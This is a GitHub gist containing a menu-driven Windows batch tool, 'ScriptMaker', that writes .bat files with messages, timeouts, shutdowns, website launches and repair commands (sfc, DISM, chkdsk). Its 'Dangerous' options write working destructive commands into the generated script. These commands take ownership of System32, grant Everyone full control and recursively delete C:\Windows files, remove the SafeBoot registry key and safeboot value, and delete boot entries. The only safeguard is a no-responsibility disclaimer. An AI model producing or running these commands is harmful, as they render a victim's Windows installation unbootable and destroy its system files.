Last active
December 7, 2018 17:53
-
-
Save benstigsen/90b2a087421d63d481ca0c130321205e to your computer and use it in GitHub Desktop.
Create .bat scripts easily.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REM ( ------------ )) | |
REM (( Created By PhantomScripts )) | |
REM ( ------------ )) | |
:Configuration | |
@echo off | |
color 0A | |
mode 1000 | |
REM // Main Menu <--------- START | |
:MainMenu | |
Title ScriptMaker by PhantomScripts | |
set HERE=MainMenu | |
cls | |
echo --------------------------------------- | |
echo -normalscript [Normal Script] | |
echo -repairscript [Overhaul Script] [Script For Repairing] | |
echo -continue [Continue Working on Script] | |
echo --------------------------------------- | |
echo( | |
:ScriptType | |
set /p "ScriptType= : " || goto Error | |
if /i "%ScriptType%"=="-normalscript" set ScriptType=NormalScript && goto CreateScript | |
if /i "%ScriptType%"=="-repairscript" set ScriptType=RepairScript && goto CreateScript | |
if /i "%ScriptType%"=="-continue" goto ContinueScript | |
:: ||||||||| | |
if /i "%ScriptType%"=="normalscript" set ScriptType=NormalScript && goto CreateScript | |
if /i "%ScriptType%"=="repairscript" set ScriptType=RepairScript && goto CreateScript | |
if /i "%ScriptType%"=="continue" goto ContinueScript | |
goto Error | |
REM // Main Menu <--------- END | |
:CreateScript | |
cls | |
echo( | |
echo What is the script called? (Don't type the .extension) | |
echo( | |
set /p "script=Script Name: " || goto CreateScript | |
(echo :: Made with ScriptMaker ::) > "%script%.bat" | |
(echo :: by PhantomScripts ::) >> "%script%.bat" | |
(echo @echo off ) >> "%script%.bat | |
(echo cls ) >> "%script%.bat" | |
echo( >> "%script%.bat" | |
goto %ScriptType% | |
REM // Normal Script <--------- START | |
:NormalScript | |
set HERE=NormalScript | |
color 0A | |
cls | |
echo( | |
echo All the commands below are ADDED to "%script%.bat" | |
echo The commands are NOT executed when writing them | |
echo( | |
echo Normal: | |
echo -message (Basic Message In Display) | |
echo -timeout (Creates Pause) | |
echo -loop (Lets You Create Loop) | |
echo -stop (Press ENTER To Continue) | |
echo -website (Opens Up Website) | |
echo( | |
echo System: | |
echo -shutdown | |
echo -restart | |
echo( | |
echo Dangerous: | |
echo -safemode (Deletes SafeMode) | |
echo -system32 (Deletes System32) | |
echo -boot (Deletes Boot) | |
echo( | |
echo Other: | |
echo -switch (Goes To The Repair Menu) | |
echo -done (To Stop Adding More) | |
echo( | |
set /p "NormalCommand=Command: " || goto Error | |
if /i %NormalCommand%==-message goto Message | |
if /i %NormalCommand%==-timeout goto Timeout | |
if /i %NormalCommand%==-shutdown goto Shutdown | |
if /i %NormalCommand%==-restart goto Restart | |
if /i %NormalCommand%==-loop goto Loop | |
if /i %NormalCommand%==-stop goto Stop | |
if /i %NormalCommand%==-website goto Website | |
if /i %NormalCommand%==-safemode goto SafeMode | |
if /i %NormalCommand%==-system32 goto System32 | |
if /i %NormalCommand%==-boot goto Boot | |
if /i %NormalCommand%==-switch goto RepairScript | |
if /i %NormalCommand%==-done goto Script | |
:: ||||||||| | |
if /i %NormalCommand%==message goto Message | |
if /i %NormalCommand%==timeout goto Timeout | |
if /i %NormalCommand%==shutdown goto Shutdown | |
if /i %NormalCommand%==restart goto Restart | |
if /i %NormalCommand%==loop goto Loop | |
if /i %NormalCommand%==stop goto Stop | |
if /i %NormalCommand%==website goto Website | |
if /i %NormalCommand%==safemode goto SafeMode | |
if /i %NormalCommand%==system32 goto System32 | |
if /i %NormalCommand%==boot goto Boot | |
if /i %NormalCommand%==switch goto RepairScript | |
if /i %NormalCommand%==done goto Script | |
goto Error | |
REM // Normal Script <--------- END | |
REM // Repair Script <--------- START | |
:RepairScript | |
set HERE=RepairScript | |
color 0A | |
cls | |
echo( | |
echo Normal: | |
echo -message (Basic Message In Display) | |
echo -timeout (Creates Pause) | |
echo -stop (Press ENTER To Continue) | |
echo( | |
echo Repair: | |
echo -filefix (Look For Corrupted Files and Fix Them) | |
echo -systemfix (Will Repair The Windows System-Image) [Useful If -filefix doesn't fix it] | |
echo -clean (Select Drive and It Will Clean It) | |
echo -checkdisk (Will Check The System For Errors) | |
echo( | |
echo System: | |
echo -shutdown | |
echo -restart | |
echo( | |
echo Other: | |
echo -switch (Goes To The Normal Menu) | |
echo -done (To Stop Adding More) | |
echo( | |
set /p "RepairCommand= : " || goto Error | |
if /i %RepairCommand%==-message goto Message | |
if /i %RepairCommand%==-timeout goto Timeout | |
if /i %RepairCommand%==-shutdown goto Shutdown | |
if /i %RepairCommand%==-restart goto Restart | |
if /i %RepairCommand%==-stop goto Stop | |
if /i %RepairCommand%==-filefix goto FileFix | |
if /i %RepairCommand%==-systemfix goto SystemFix | |
if /i %RepairCommand%==-clean goto Clean | |
if /i %RepairCommand%==-checkdisk goto CheckDisk | |
if /i %NormalCommand%==-switch goto NormalScript | |
if /i %NormalCommand%==-done goto Script | |
:: ||||||||| | |
if /i %RepairCommand%==message goto Message | |
if /i %RepairCommand%==timeout goto Timeout | |
if /i %RepairCommand%==shutdown goto Shutdown | |
if /i %RepairCommand%==restart goto Restart | |
if /i %RepairCommand%==stop goto Stop | |
if /i %RepairCommand%==filefix goto FileFix | |
if /i %RepairCommand%==systemfix goto SystemFix | |
if /i %RepairCommand%==clean goto Clean | |
if /i %RepairCommand%==checkdisk goto CheckDisk | |
if /i %NormalCommand%==switch goto NormalScript | |
if /i %NormalCommand%==done goto Script | |
goto Error | |
REM // Repair Script <--------- END | |
REM // Continue Script <--------- START | |
:ContinueScript | |
set HERE=ContinueScript | |
cls | |
echo( | |
echo Type path to script (Example: C:\Users\%username%\Example) | |
echo Remember to use "quotes" in path (Example: "C:\Users\%username%\Example") | |
echo [do NOT type .extension] | |
echo( | |
set /p "script= Script Name: " || goto Error | |
if exist "%script%" goto ContinueMenu || goto Error | |
:ContinueMenu | |
set HERE=ContinueMenu | |
cls | |
echo( | |
echo -normalscript | |
echo -repairscript | |
echo( | |
set /p "ScriptType= : " || goto Error | |
if /i %ScriptType%==-normalscript goto NormalScript | |
if /i %ScriptType%==-repairscript goto RepairScript | |
:: ||||||||| | |
if /i %ScriptType%==normalscript goto NormalScript | |
if /i %ScriptType%==repairscript goto RepairScript | |
goto Error | |
REM // Continue Script <--------- END | |
REM // Engine <------------------------- START <----------------------------------- ENGINE | |
REM // Message <--------- START | |
:Message | |
cls | |
echo( | |
echo Type a message | |
echo -back (go back) | |
echo( | |
set /p "Message=Message: " || goto Message | |
if /i "%Message%"=="-back" goto %HERE% | |
if /i "%Message%"=="back" goto %HERE% | |
(echo echo %Message% ) >> "%script%.bat" | |
:MessageEnd | |
cls | |
echo( | |
echo "%Message%" was added to "%script%.bat" | |
echo( | |
echo Want to type another message? | |
echo -yes | |
echo -no | |
echo( | |
set /p "YesNo=Choice: " || goto MessageEnd | |
if /i %YesNo%==-yes goto Message | |
if /i %YesNo%==-no goto %HERE% | |
:: ||||||||| | |
if /i %YesNo%==yes goto Message | |
if /i %YesNo%==no goto %HERE% | |
goto MessageEnd | |
REM // Message <--------- END | |
REM // Timeout <--------- START | |
:Timeout | |
cls | |
echo( | |
echo How long should the timeout be? | |
echo -back (go back) | |
echo( | |
set /p "Timeout=Seconds: " || goto Timeout | |
if /i %Timeout%==-back goto %HERE% | |
if /i %Timeout%==back goto %HERE% | |
:TimeoutShowCountdown | |
cls | |
echo Should it show the countdown? | |
echo -yes | |
echo -no | |
echo( | |
set /p "YesNo=Choice: " || goto TimeoutShowCountdown | |
if /i %YesNo%==-yes (echo timeout ^/t %Timeout%) >> "%script%.bat" && goto TimeoutEnd | |
if /i %YesNo%==-no (echo timeout ^/t %Timeout% ^> ^nul ) >> "%script%.bat" && goto TimeoutEnd | |
:: ||||||||| | |
if /i %YesNo%==yes (echo timeout ^/t %Timeout%) >> "%script%.bat" && goto TimeoutEnd | |
if /i %YesNo%==no (echo timeout ^/t %Timeout% ^> ^nul ) >> "%script%.bat" && goto TimeoutEnd | |
goto TimeoutShowCountdown | |
:TimeoutEnd | |
cls | |
echo( | |
echo A %Timeout%sec timeout has been added to "%script%.bat" | |
echo( | |
echo Want to add another timeout? | |
echo -yes | |
echo -no | |
echo( | |
set /p "YesNo=Choice: " || goto TimeoutEnd | |
if /i %YesNo%==-yes goto Timeout | |
if /i %YesNo%==-no goto %HERE% | |
:: ||||||||| | |
if /i %YesNo%==yes goto Timeout | |
if /i %YesNo%==no goto %HERE% | |
REM // Timeout <--------- END | |
REM // Shutdown <--------- START | |
:Shutdown | |
cls | |
echo( | |
echo How long should the timeout be before shutdown? | |
echo -back (go back) | |
echo( | |
set /p "Timeout=Seconds: " || goto Shutdown | |
if /i %Timeout%==-back goto %HERE% | |
if /i %Timeout%==back goto %HERE% | |
:ShutdownShowMessage | |
cls | |
echo( | |
echo Should it contain a custom message? | |
echo -yes | |
echo -no | |
echo( | |
set /p "YesNo=Choice: " || goto ShutdownShowMessage | |
if /i %YesNo%==-yes goto ShutdownAddMessage | |
if /i %YesNo%==-no set Message="" && (echo shutdown ^/s ^/t %Timeout% ) >> "%script%.bat" && goto ShutdownEnd | |
:: ||||||||| | |
if /i %YesNo%==yes goto ShutdownAddMessage | |
if /i %YesNo%==no set Message="" && (echo shutdown ^/s ^/t %Timeout% ) >> "%script%.bat" && goto ShutdownEnd | |
goto ShutdownShowMessage | |
:ShutdownAddMessage | |
cls | |
echo( | |
echo Type a message | |
echo -back (go back) | |
echo( | |
set /p "Message=Message: " || goto ShutdownAddMessage | |
if /i "%Message%"=="-back" goto ShutdownShowMessage | |
if /i "%Message%"=="back" goto ShutdownShowMessage | |
(echo shutdown ^/s ^/t %Timeout% ^/c "%Message%" ) >> "%script%.bat" | |
:ShutdownEnd | |
cls | |
echo( | |
echo Shutdown command was added with a %Timeout%sec timeout, with the custom message "%Message%" | |
echo( | |
echo Press ENTER To Continue | |
pause > nul | |
goto %HERE% | |
REM // Shutdown <--------- END | |
REM // Restart <--------- START | |
:Restart | |
cls | |
echo( | |
echo How long should the timeout be before restart? | |
echo -back (go back) | |
echo( | |
set /p "Timeout=Seconds: " || goto Shutdown | |
if /i %Timeout%==-back goto %HERE% | |
if /i %Timeout%==back goto %HERE% | |
:RestartShowMessage | |
cls | |
echo( | |
echo Should it contain a custom message? | |
echo -yes | |
echo -no | |
echo( | |
set /p "YesNo=Choice: " || goto RestartShowMessage | |
if /i %YesNo%==-yes goto RestartAddMessage | |
if /i %YesNo%==-no set Message="" && (echo shutdown ^/r ^/t %Timeout% ) >> "%script%.bat" && goto RestartEnd | |
:: ||||||||| | |
if /i %YesNo%==yes goto RestartAddMessage | |
if /i %YesNo%==no set Message="" && (echo shutdown ^/r ^/t %Timeout% ) >> "%script%.bat" && goto RestartEnd | |
goto RestartShowMessage | |
:RestartAddMessage | |
cls | |
echo( | |
echo Type a message | |
echo -back (go back) | |
echo( | |
set /p "Message=Message: " || goto RestartAddMessage | |
if /i "%Message%"=="-back" goto RestartShowMessage | |
if /i "%Message%"=="back" goto RestartShowMessage | |
(echo shutdown ^/r ^/t %Timeout% ^/c "%Message%" ) >> "%script%.bat" | |
:RestartEnd | |
cls | |
echo( | |
echo Restart command was added with a %Timeout%sec timeout, with the custom message "%Message%" | |
echo( | |
echo Press ENTER To Continue | |
pause > nul | |
goto %HERE% | |
REM // Restart <--------- END | |
REM // Loop <--------- START | |
:Loop | |
cls | |
echo( | |
echo Do you want it to loop a certain amount of times | |
echo -yes | |
echo -no | |
echo( | |
echo -back | |
echo( | |
set /p "YesNo=Choice: " | |
if /i %YesNo%==-yes (echo ^set Counter=0) >> "%script%.bat" && (echo :Loop ) >> "%script%.bat" && goto LoopCount | |
if /i %YesNo%==-no (echo :Loop) >> "%script%.bat" && goto LoopAdd | |
if /i %YesNo%==-back goto %HERE% | |
:: ||||||||| | |
if /i %YesNo%==yes (echo ^set Counter=0) >> "%script%.bat" && (echo :Loop ) >> "%script%.bat" && goto LoopCount | |
if /i %YesNo%==no (echo :Loop ) >> "%script%.bat" && goto LoopAdd | |
if /i %YesNo%==back goto %HERE% | |
goto Loop | |
:LoopCount | |
cls | |
echo( | |
echo How many times do you want it to loop? | |
echo( | |
set /p "Count=Amount Of Times To Loop: " || goto LoopCount | |
(echo ^set ^/a Counter=%%Counter%%+1) >> "%script%.bat" | |
(echo ^if %%Counter%%==%Count% ^goto LoopBreak) >> "%script%.bat" | |
:LoopAdd | |
cls | |
echo( | |
echo Things To Happen In Loop | |
echo -message (Basic Message In Display) | |
echo -timeout (Creates Pause) | |
echo -website (Opens Up Website) | |
echo -nothing (^<-- Explains itself) | |
echo( | |
set /p "command=Command: " || goto LoopAdd | |
if /i %command%==-message goto LoopMessage | |
if /i %command%==-timeout goto LoopTimeout | |
if /i %command%==-website goto LoopWebsite | |
if /i %command%==-nothing goto LoopEnd | |
:: ||||||||| | |
if /i %command%==message goto LoopMessage | |
if /i %command%==timeout goto LoopTimeout | |
if /i %command%==website goto LoopWebsite | |
if /i %command%==nothing goto LoopEnd | |
goto LoopAdd | |
:LoopMessage | |
cls | |
echo( | |
echo Type a message | |
echo -back (go back) | |
echo( | |
set /p "Message=Message: " || goto LoopMessage | |
if /i "%Message%"=="-back" goto LoopAdd | |
if /i "%Message%"=="back" goto LoopAdd | |
(echo echo %Message% ) >> "%script%.bat" | |
:LoopMessageEnd | |
cls | |
echo( | |
echo Message has been added to the loop | |
echo -new (Add A New Message) | |
echo -back (Return To The Loop Menu) | |
set /p "Choice=Choice: " || goto LoopMessageEnd | |
if /i %Choice%==-new goto LoopMessage | |
if /i %Choice%==-back goto LoopAdd | |
:: ||||||||| | |
if /i %Choice%==new goto LoopMessage | |
if /i %Choice%==back goto LoopAdd | |
goto LoopMessageEnd | |
:LoopTimeout | |
cls | |
echo( | |
echo How long should the timeout be? | |
echo -back (go back) | |
echo( | |
set /p "Timeout=Seconds: " || goto LoopTimeout | |
if /i %Timeout%==-back goto LoopAdd | |
if /i %Timeout%==back goto LoopAdd | |
:LoopTimeoutShowCountdown | |
cls | |
echo Should it show the countdown? | |
echo -yes | |
echo -no | |
echo( | |
set /p "YesNo=Choice: " || goto TimeoutShowCountdown | |
if /i %YesNo%==-yes (echo timeout ^/t %Timeout%) >> "%script%.bat" && goto LoopTimeoutEnd | |
if /i %YesNo%==-no (echo timeout ^/t %Timeout% ^> ^nul ) >> "%script%.bat" && goto LoopTimeoutEnd | |
:: ||||||||| | |
if /i %YesNo%==yes (echo timeout ^/t %Timeout%) >> "%script%.bat" && goto LoopTimeoutEnd | |
if /i %YesNo%==no (echo timeout ^/t %Timeout% ^> ^nul ) >> "%script%.bat" && goto LoopTimeoutEnd | |
goto LoopTimeoutShowCountdown | |
:LoopTimeoutEnd | |
cls | |
echo( | |
echo A %Timeout%sec timeout has been added to the loop | |
echo( | |
echo Want to add another timeout? | |
echo -yes | |
echo -no | |
echo( | |
set /p "YesNo=Choice: " || goto LoopTimeoutEnd | |
if /i %YesNo%==-yes goto LoopTimeout | |
if /i %YesNo%==-no goto LoopAdd | |
:: ||||||||| | |
if /i %YesNo%==yes goto LoopTimeout | |
if /i %YesNo%==no goto LoopAdd | |
goto LoopTimeoutEnd | |
:LoopWebsite | |
cls | |
echo( | |
echo Copy/Paste the entire URL (Example: http://phantomscripts.weebly.com/) [CTRL+V = Paste] | |
echo -back | |
echo( | |
set /p "URL=URL: " || goto LoopWebsite | |
if /i %URL%==-back goto LoopAdd | |
if /i %URL%==back goto LoopAdd | |
(echo ^start %URL%) >> "%script%.bat" | |
:LoopWebsiteEnd | |
cls | |
echo "%URL%" has been added to the loop | |
echo Want to add another one? | |
echo -yes | |
echo -no | |
echo( | |
set /p "YesNo=Choice: " || goto LoopWebsiteEnd | |
if /i %YesNo%==-yes goto LoopWebsite | |
if /i %YesNo%==-no goto LoopAdd | |
:: ||||||||| | |
if /i %YesNo%==yes goto LoopWebsite | |
if /i %YesNo%==no goto LoopAdd | |
goto LoopWebsite | |
:LoopEnd | |
(echo ^goto Loop) >> "%script%.bat" | |
(echo :LoopBreak) >> "%script%.bat" | |
cls | |
echo( | |
echo Loop has succesfully been created! | |
echo Press ENTER To Continue | |
pause > nul | |
goto %HERE% | |
REM // Loop <--------- END | |
REM // Stop <--------- START | |
:Stop | |
cls | |
echo( | |
echo Should it show "Press any key to continue..."? | |
echo -yes | |
echo -no | |
echo( | |
echo -back | |
echo( | |
set /p "YesNo=Choice: " || goto Stop | |
if /i %YesNo%==-yes (echo pause) >> "%script%.bat" && goto StopEnd | |
if /i %YesNo%==-no (echo ^pause ^> nul) >> "%script%.bat" && goto StopEnd | |
if /i %YesNo%==-back goto %HERE% | |
:: ||||||||| | |
if /i %YesNo%==yes (echo pause) >> "%script%.bat" && goto StopEnd | |
if /i %YesNo%==no (echo ^pause ^> nul) >> "%script%.bat" && goto StopEnd | |
if /i %YesNo%==back goto %HERE% | |
goto Stop | |
:StopEnd | |
cls | |
echo( | |
echo Want to add another stop/pause? | |
echo -yes | |
echo -no | |
echo( | |
set /p "YesNo=Choice: " || goto StopEnd | |
if /i %YesNo%==-yes goto Stop | |
if /i %YesNo%==-no goto %HERE% | |
:: ||||||||| | |
if /i %YesNo%==yes goto Stop | |
if /i %YesNo%==no goto %HERE% | |
goto StopEnd | |
REM // Stop <--------- END | |
REM // Website <--------- START | |
:Website | |
cls | |
echo( | |
echo Copy/Paste the entire URL (Example: http://phantomscripts.weebly.com/) [CTRL+V = Paste] | |
echo -back | |
echo( | |
set /p "URL=URL: " || goto Website | |
if /i %URL%==-back goto %HERE% | |
if /i %URL%==back goto %HERE% | |
(echo ^start %URL%) >> "%script%.bat" | |
:WebsiteEnd | |
cls | |
echo "%URL%" has been added to "%script%.bat" | |
echo Want to add another one? | |
echo -yes | |
echo -no | |
echo( | |
set /p "YesNo=Choice: " || goto WebsiteEnd | |
if /i %YesNo%==-yes goto Website | |
if /i %YesNo%==-no goto %HERE% | |
:: ||||||||| | |
if /i %YesNo%==yes goto Website | |
if /i %YesNo%==no goto %HERE% | |
goto LoopWebsite | |
REM // Website <--------- END | |
REM // DESTRUCTIVE <--------------------------------- START | |
REM // SAFEMODE <---------- START | |
:SafeMode | |
color 0C | |
cls | |
echo I do NOT take any responsibility for how you use the created scripts! | |
echo I do NOT take any responsibility for how you use the created scripts! | |
echo( | |
echo Are you sure you want to add this to the script? | |
echo -yes | |
echo -no | |
set /p "YesNo=Choice: " || goto SafeMode | |
if /i %YesNo%==-yes goto SafeModeEnd | |
if /i %YesNo%==-no goto %HERE% | |
:: ||||||||| | |
if /i %YesNo%==yes goto SafeModeEnd | |
if /i %YesNo%==no goto %HERE% | |
goto SafeMode | |
:SafeModeEnd | |
(echo bcdedit /deletevalue {current} safeboot) >> "%script%.bat" | |
(echo cd C:\Windows\System32 ) >> "%script%.bat" | |
(echo REG DELETE "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot" ^/F ) >> "%script%.bat" | |
cls | |
echo( | |
echo System32 delete commands has been added to "%script%.bat" | |
echo Press ENTER To Continue | |
pause > nul | |
goto %HERE% | |
REM // SAFEMODE <---------- END | |
REM // SYSTEM32 <---------- START | |
:System32 | |
color 0C | |
cls | |
echo I do NOT take any responsibility for how you use the created scripts! | |
echo I do NOT take any responsibility for how you use the created scripts! | |
echo( | |
echo Are you sure you want to add this to the script? | |
echo -yes | |
echo -no | |
set /p "YesNo=Choice: " || goto System32 | |
if /i %YesNo%==-yes goto System32End | |
if /i %YesNo%==-no goto %HERE% | |
:: ||||||||| | |
if /i %YesNo%==yes goto System32End | |
if /i %YesNo%==no goto %HERE% | |
goto System32 | |
:System32End | |
(echo cd\ ) >> "%script%.bat" | |
(echo cd C:\Windows\System32 ) >> "%script%.bat" | |
(echo takeown ^/R ^/F C:\Windows\System32 ) >> "%script%.bat" | |
(echo icacls C:\Windows\System32 ^/Q ^/C ^/T ^/grant Everyone:F) >> "%script%.bat" | |
echo icacls C:\Windows\System32 ^/T ^/grant %username%:(D) >> "%script%.bat" | |
(echo DEL ^* ^|^| DEL C:\Windows\System32 ) >> "%script%.bat" | |
(echo DEL "C:\Windows\*.*" ^/S ^/Q) >> "%script%.bat" | |
cls | |
echo( | |
echo System32 delete commands has been added to "%script%.bat" | |
echo Press ENTER To Continue | |
pause > nul | |
goto %HERE% | |
REM // SYSTEM32 <---------- END | |
REM // BOOT <---------- START | |
:Boot | |
color 0C | |
cls | |
echo I do NOT take any responsibility for how you use the created scripts! | |
echo I do NOT take any responsibility for how you use the created scripts! | |
echo( | |
echo Are you sure you want to add this to the script? | |
echo -yes | |
echo -no | |
set /p "YesNo=Choice: " || goto Boot | |
if /i %YesNo%==-yes goto BootEnd | |
if /i %YesNo%==-no goto %HERE% | |
:: ||||||||| | |
if /i %YesNo%==yes goto BootEnd | |
if /i %YesNo%==no goto %HERE% | |
goto Boot | |
:BootEnd | |
(echo REG delete "HKEY_CLASSES_ROOT\BOOTSTRAP" ^/F ) >> "%script%.bat" | |
(echo bootcfg /delete /id 1) >> "%script%.bat" | |
(echo bootcfg /delete /id 2) >> "%script%.bat" | |
(echo bootcfg /delete /id 3) >> "%script%.bat" | |
cls | |
echo( | |
echo Boot delete command has been added to "%script%.bat" | |
echo Press ENTER To Continue | |
pause > nul | |
goto %HERE% | |
REM // BOOT <---------- END | |
REM // DESTRUCTIVE <--------------------------------- END | |
REM // FIXING <--------------------------------- START | |
REM // FILEFIX <---------- START | |
:FileFix | |
(echo sfc ^/scannow) >> "%script%.bat" | |
:FileFixEnd | |
cls | |
echo( | |
echo FileFix has been added to "%script%.bat" | |
echo( | |
echo Do you want to add SystemFix in case FileFix doesn't work? | |
echo -yes | |
echo -no | |
echo( | |
set /p "YesNo=Choice: " || goto FileFixEnd | |
if /i %YesNo%==-yes goto SystemFix | |
if /i %YesNo%==-no goto %HERE% | |
:: ||||||||| | |
if /i %YesNo%==yes goto SystemFix | |
if /i %YesNo%==no goto %HERE% | |
REM // FILEFIX <---------- END | |
REM // SYSTEMFIX <---------- START | |
:SystemFix | |
cls | |
echo( | |
(echo DISM ^/Online ^/Cleanup-Image ^/RestoreHealth) >> "%script%.bat" | |
echo SystemFix has been added to "%script%.bat" | |
echo Press ENTER To Continue | |
pause > nul | |
goto %HERE% | |
REM // SYSTEMFIX <---------- END | |
REM // CHECKDISK <---------- START | |
:CheckDisk | |
cls | |
echo( | |
(echo echo Y ^| chkdsk ^/F ^/R) >> "%script%.bat" | |
echo CheckDisk has been added to "%script%.bat" | |
echo Press ENTER To Continue | |
pause > nul | |
goto %HERE% | |
REM // CHECKDISK <---------- END | |
REM // CLEAN <---------- START | |
:Clean | |
cls | |
echo( | |
(echo cleanmgr.exe) >> "%script%.bat" | |
echo Clean has been added to "%script%.bat" | |
echo Press ENTER To Continue | |
pause > nul | |
goto %HERE% | |
REM // CLEAN <---------- END | |
REM // FIXING <--------------------------------- END | |
REM // Engine <------------------------- END <----------------------------------- ENGINE | |
REM // Error Handling <---------- START | |
:Error | |
color 0C | |
cls | |
echo -------------------------- | |
echo ERROR | |
echo ========================== | |
ping 1.1.1.1 -n 1 -w 250 > nul | |
cls | |
color 0A | |
goto %HERE% | |
REM // Error Handling <---------- END | |
REM // Finish Script <---------- START | |
:Script | |
cls | |
echo Is your script fully done? | |
echo -yes | |
echo -no | |
echo( | |
set /p "YesNo=Choice: " || goto Script | |
if /i %YesNo%==-yes goto ScriptDone | |
if /i %YesNo%==-no goto %HERE% | |
:: ||||||||| | |
if /i %YesNo%==yes goto ScriptDone | |
if /i %YesNo%==no goto %HERE% | |
goto Script | |
:ScriptDone | |
cls | |
echo( >> "%script%.bat" | |
(echo :: Created with ScriptMaker ::) >> "%script%.bat" | |
(echo :: Made by PhantomScripts ::) >> "%script%.bat" | |
cls | |
echo The script "%script%.bat" is done and ready to go at "%cd%\%script%.bat" | |
echo( | |
echo Press ENTER To Exit | |
pause > nul | |
exit | |
REM // Finish Script <---------- END |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment